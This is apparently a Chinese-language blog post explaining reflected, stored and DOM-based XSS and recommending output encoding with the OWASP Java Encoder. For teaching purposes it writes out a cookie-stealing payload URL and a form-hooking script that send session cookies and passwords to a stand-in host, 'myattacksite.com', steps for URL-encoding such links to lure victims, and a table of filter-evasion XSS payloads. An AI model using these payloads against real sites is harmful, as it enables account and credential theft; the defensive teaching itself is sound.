• XSS攻擊的深入探討與防護之道

    XSS是網站攻擊排行榜第一名。主要原因不是因為大家不知道或是故意遺漏這樣的防護,

    而是因為有太多種可能性可以執行 JavaScript,導致只要有一點機會,就讓駭客有機可趁。

    這篇文章主要說明XSS(Cross-site scripting或是稱為JavaScript Injection)攻擊的種類、範例。

    並且介紹幾種防護的方法與可以運用Open Source 的程式庫。

    XSS學名

    俗稱的JavaScript Injection

    簡稱又稱為 XSS

    學名又稱為 Cross-site Script Attack

    中文聽說翻譯成 (跨站攻擊 )

    儘管筆者認為跟跨不跨站沒有太大關係

     

    三種XSS 攻擊方式

    定義來說XSS根據攻擊預期的結果可以分為三種。

    • Reflected XSS
    • Stored XSS
    • DOM-Based XSS

    Reflected XSS原理

    為什麼叫做 Reflected XSS呢?

    顧名思義就是網站會反應所輸入的 JavaScript。

    因此,因為當駭客成功發現某個網站可以執行駭客預期的惡意程式碼時,

    駭客就可以把受害 (被植入 JavaScript)網站的 URL透過釣魚的方式或是郵件傳送給被害人。

    當被害人點擊該 URL時,就會看到且執行該 JavaScript。

    Reflected XSS範例

    舉例來說,讓我們看下列的 URL

    www.mybank.com/changePassword?username= xxxx

    如果更改密碼僅需要透過 Http Get 參數傳遞,也就是 URL 中的參數,那麼駭客有可能輸入下列方式達到 XSS

    www.mybank.com/changePassword?username="><script>document.write('<img+src%3d"http%3a//myattacksite.com/collector%3fsession%3d'+%2b+document.cookie+%2b+'">')%3b</script><a+href%3d"

     

    JavaScript 可以盜取帳號?

    讓我們看下列這個例子。讀取網頁上的帳號密碼完之後,

    將帳號密碼透過參數傳遞到駭客遠端的網站 http://myattacksite.com/collector.jsp?

    所以我們把這個程式先存檔為 malicious.js

    document.forms[0].onsubmit = function() {
    var username = document.forms[0]["username"].value;
    var password = document.forms[0]["password"].value;
    var password1 = document.forms[0]["password1"].value;
    var password2 = document.forms[0]["password2"].value;
    var req = new XMLHttpRequest();
    req.open("GET", 'http://myattacksite.com/collector.jsp?u='
    + username + '&p=' + password + '&p1=' + password1 +
    '&p2=' + password2, false);
    req.send();
    };

    但是問題來了,這樣的程式太明顯,一般人還是不一定會執行。因此要做一些隱藏。

    比較常見隱藏的方式就是透過編碼 URL encoding。所以駭客要再加工兩件事情

     

    1. 將上述 JavaScript “malicious.js” 放在遠端某受害者網站

    2. 將含有執行malicious.js URL 編碼,讓使用者看不出執行malicious.js

    3. 將整個編碼過後的 URL放到某公開的留言版或是社交網站,誘導使用者點擊。

    URL Encoding

    舉例來說,駭客組好下列的 URL,

    http://localhost:8080/Demos/?username=“><script src=”http://myattacksite.com/js/malicious.js”></script><a href=”

    這樣的 URL 太過明顯,因此需要編碼一下,可以透過這個服務編碼  http://meyerweb.com/eric/tools/dencoder/

    http://localhost:8080/Demos/?username=%22%3E%3Cscript+src%3d%22http://myattacksite.com/js/malicious.js%22%3E%3C/script%3E%3Ca+href%3d%22

    編碼完後,是不是比較看不出來呢?

    之後,駭客再將這段 URL 貼在訪客留言版或是透過社交工程的方式寄給受害者,讓受害者點擊。

     

    Stored XSS

    Stored XSS 就是讓 JavaScript 可以儲存在網站資料庫中。

    最常見的例子就是網站留言板或是訊息。由於留言版可以留的訊息格是不居。

    因此,駭客就可以把程式碼放在留言板中,等待下一個瀏覽該留言板的受害者。

    DOM-Based XSS

    DOM-XX 跟前兩者最大的不同在於 DOM-Based 的攻擊要防護必須做在用戶端。

    Reflected 與 Stored XX 則是在伺服器端做防護與驗證。

    容易遭受到 DOM攻擊的有:

    • document.url
    • document.cookie
    • window.location.search
    • history.replaceState

    在了解這些 XSS的攻擊之後,但是我們要如何防範呢?

    XSS攻擊的類型彙整

    Name 特徵 範例
    XSS Locator 透過字串 <SCRIPT>alert(String.fromChar-
    Code(88,83,83))</SCRIPT>
    XSS Locator 2 透過字串 ‘’;!–”<XSS>=&{()}
    Image XSS 透過 Img <IMG SRC=”javascript:alert(‘XSS’);”>
    No quotes 測試瀏覽器對於 quotes 的處理 <IMG SRC=javascript:alert(‘XSS’)>
    HTML entities 使用 &quot; <IMG SRC=javascript:alert(&quot;XSS
    &quot;)>
    Grave Accent 用其他字元來逃避防火牆檢查 <IMG SRC=`javascript:alert(“RSnake
    says, ‘XSS’”)`>
    fromCharCode 透過這個方式可以避免過濾檢查 < or ‘ 的特定字元 <IMG SRC=javascript:alert(String.
    fromCharCode(88,83,83))>
    UTF-8 Unicode
    encoding
    使用 unicode <IMG SRC=&#106;&#97;&#118;&#97;&#115
    ;&#99;&#114;&#105;&#112;&#116;&#58;&
    #97;&#108;&#101;&#114;&#116;&#40;&#3
    9;&#88;&#83;&#83;&#39;&#41;>
    Long UTF-8 encoding 使用padding 與沒有 ; 的方式逃避防火牆的檢查 <IMG SRC=&#0000106&#0000097&#000011
    8&#0000097&#0000115&#0000099&#00001
    14&#0000105&#0000112&#0000116&#0000
    058&#0000097&#0000108&#0000101&#000
    0114&#0000116&#0000040&#0000039&#00
    00088&#0000083&#0000083&#0000039&#0
    000041>
    Hex encoding 逃避防火牆的檢查 <IMG SRC=&#x6A
    Embedd tabs 使用 tabs的輸入 <IMG SRC=”jav
    ascript:alert(‘XSS’);”>
    Malformed US
    ASCCI
    使用ASCII 7bits 的編碼方式 ¼script¾alert(¢XSS¢)¼/script¾
    Portion-specific XSS 使用特定的 tag DIV, IMG, META, IFRAME, TD, TABLE,
    STYLE, BASE, COMMENT, OBJECT, EMBED,
    xml namespace, etc.

     

    輸入的驗證

    首先是對於輸入資料做基本的驗證。輸入的驗證只能治標無法治本。

    舉例來說,如果使用黑名單的方式將輸入的資料去除 “<script>

    那麼駭客如果輸入 <scr<script>ipt>,去除之後還是會對於 <script>輸入造成 XSS

    另外,駭客也可以另用 <img src>不一定需要 <script> 才可以執行 XSS

    <img src=”http://somesite.com/whatever.jpg” onLoad=”alert(1)”/>

    XSS根本防護之道 – 輸出Encoding

     

    只有做到輸入的驗證檢查是不夠的,必須要在輸出時做 encoding。

    因為這樣才可以讓 JavaScript在最後瀏覽器瀏覽時不被任意執行。

    資料輸出時候的 Encoding! 一般的編碼規則如下:

     & --> &amp;
     < --> &lt;
     > --> &gt;
     " --> &quot;
     ' --> &#x27;     
     / --> &#x2F;
    
    

    舉例來說,駭客輸入下列字串當作使用者名稱

    John<script>alert(“This is XSS“);</script>

    編碼之後就會變成

    John&lt;script&gt;alert(&quot;This is XSS&quot;);&lt;/script&gt;

    當然這還容易,難的是會遺漏的地方讓駭客有機可趁。

    哪些需要 Encoding呢?

    • URL encoding
    • JavaScript hex encoding
    • CSS hex encoding
    • HTML entity

    舉例來說,下列都有可能成為 XSS的對象。

    • HTML context: <p>Hacking Data here</p>
    • Attribute context: <input value=”Hacking Data here“/>
    • JavaScript block context: <script>var data=”Hacking Data here“;</script>
    • JavaScript attribute context: <a onclick=”alert(‘Hacking Data here‘);”/>

    Java Encoding 程式庫

    https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

    XSS 雖然大家都知道但是因為下列原因造成駭客一直有機可趁。

    • 可以輸入XSS的可能性很多,例如透過HTML屬性
    • 透過 HTML資料或是內容
    • 透過JavaScript的alert訊息內容
    • 透過JavaScript 程式
    • 黑名單的方式無法有效完全阻擋,例如 <Sc<Script>ript>
    • XML的資料也有可能被植入 XSS
    • CSS屬性也會有 XSS
    • URL也是最容易被遺漏的部分,更是駭客可以用來 XSS攻擊的

    因此,有沒有library 可以比較有效的處理這些呢?

    如果是使用 Java 筆者建議這個 Encoding 的 JAR。

    該 Encoder  提供完整的 encoding 機制而且也考量效能。

    我們需要的Encoder主要符合下列需求:

    • 1. 只會 encode 並要的字元。其它字元不會。兼顧效能上的處理。
    • 2. 會協助移除非法字元
    • 3.編碼的方式兼顧相容性

    如何使用 Java Encoder ?

    • <body><b><%= Encode.forHtml(textValue) %>” /></b></body>
    • <input type=”text” name=”address” value=”<%= Encode.forHtmlAttribute(addressData) %>” />
    • Encode.forHtmlContent(textAreaContent)
    • <script type=”text/javascript”> var msg = “<%= Encode.forJavaScriptBlock(message) %>”; alert(msg); </script>
    • <button onclick=”alert(‘<%= Encode.forJavaScriptAttribute(alertMsg) %>’);”>click me</button>

    針對HTML encoding的部分

    • Encode.forHTML(String)
    • Encode.forHtmlAttribute(String)
    • Encode.forHtmlContent(String)
    • Encode.forHtmlUnquotedAttribute(String)

    針對JavaScript encoding 的部分

    • Encode.forJavaScript(String)
    • Encode.forJavaScriptAttribute(String)
    • Encode.forJavaScriptBlock(String)
    • Encode.forJavaScriptSource(String)

    如果不確定哪些時機使用哪一個,至少可以使用

    • Encode.forHTML(String)
    • Encode.forJavaScript(String)

    XML的部分

    • Encode.forXml(String)
      Encode.forXmlContent(String)
      Encode.forXmlAttribute(String)
      Encode.forXmlComment(String)
      Encode.forCDATA(String)

    CSS Encoding

    • Encode.forCssString(String)
      Encode.forCssUrl(String)

    URL Encoding

    • <a href=”/search?value=<%=Encode.forUriComponent(parameterValue)%>&order=1#top”>
    • <a href=”<%= Encode.forHtmlAttribute(url) %>”>

    小結

    從這篇文章的說明,我們了解

    • 1. 為什麼 XSS 一直是駭客的最愛? 因為可以植入 XSS的地方太多,HTML, JavaScript, CSS, XML, URL等。
    • 2. 為什麼防護很難做到滴水不漏? 因為黑名單或是輸入驗證都不是有效的方法。需要做輸出的 Encoding。
    • 3. XSS 可以盜取帳號密碼?  可以讓使用者點擊 URL執行? 可以盜取 Cookie 值 ? 答案都是肯定。

    知道XSS 的攻擊這麼廣泛後,防護之道不僅僅靠輸入驗證或是黑名單,還需要針對輸出做 Encoding。

    輸出 Encoding 的範圍包含 URL, HTML, CSS, XML, JavaScript等。漏掉一個,駭客還是有機可趁的。

    這就為什麼 XSS 一直以來都是駭客攻擊首選的原因。

     

    Posted by Tony @ 11:47 pm

  • Leave a Reply

    Your email address will not be published.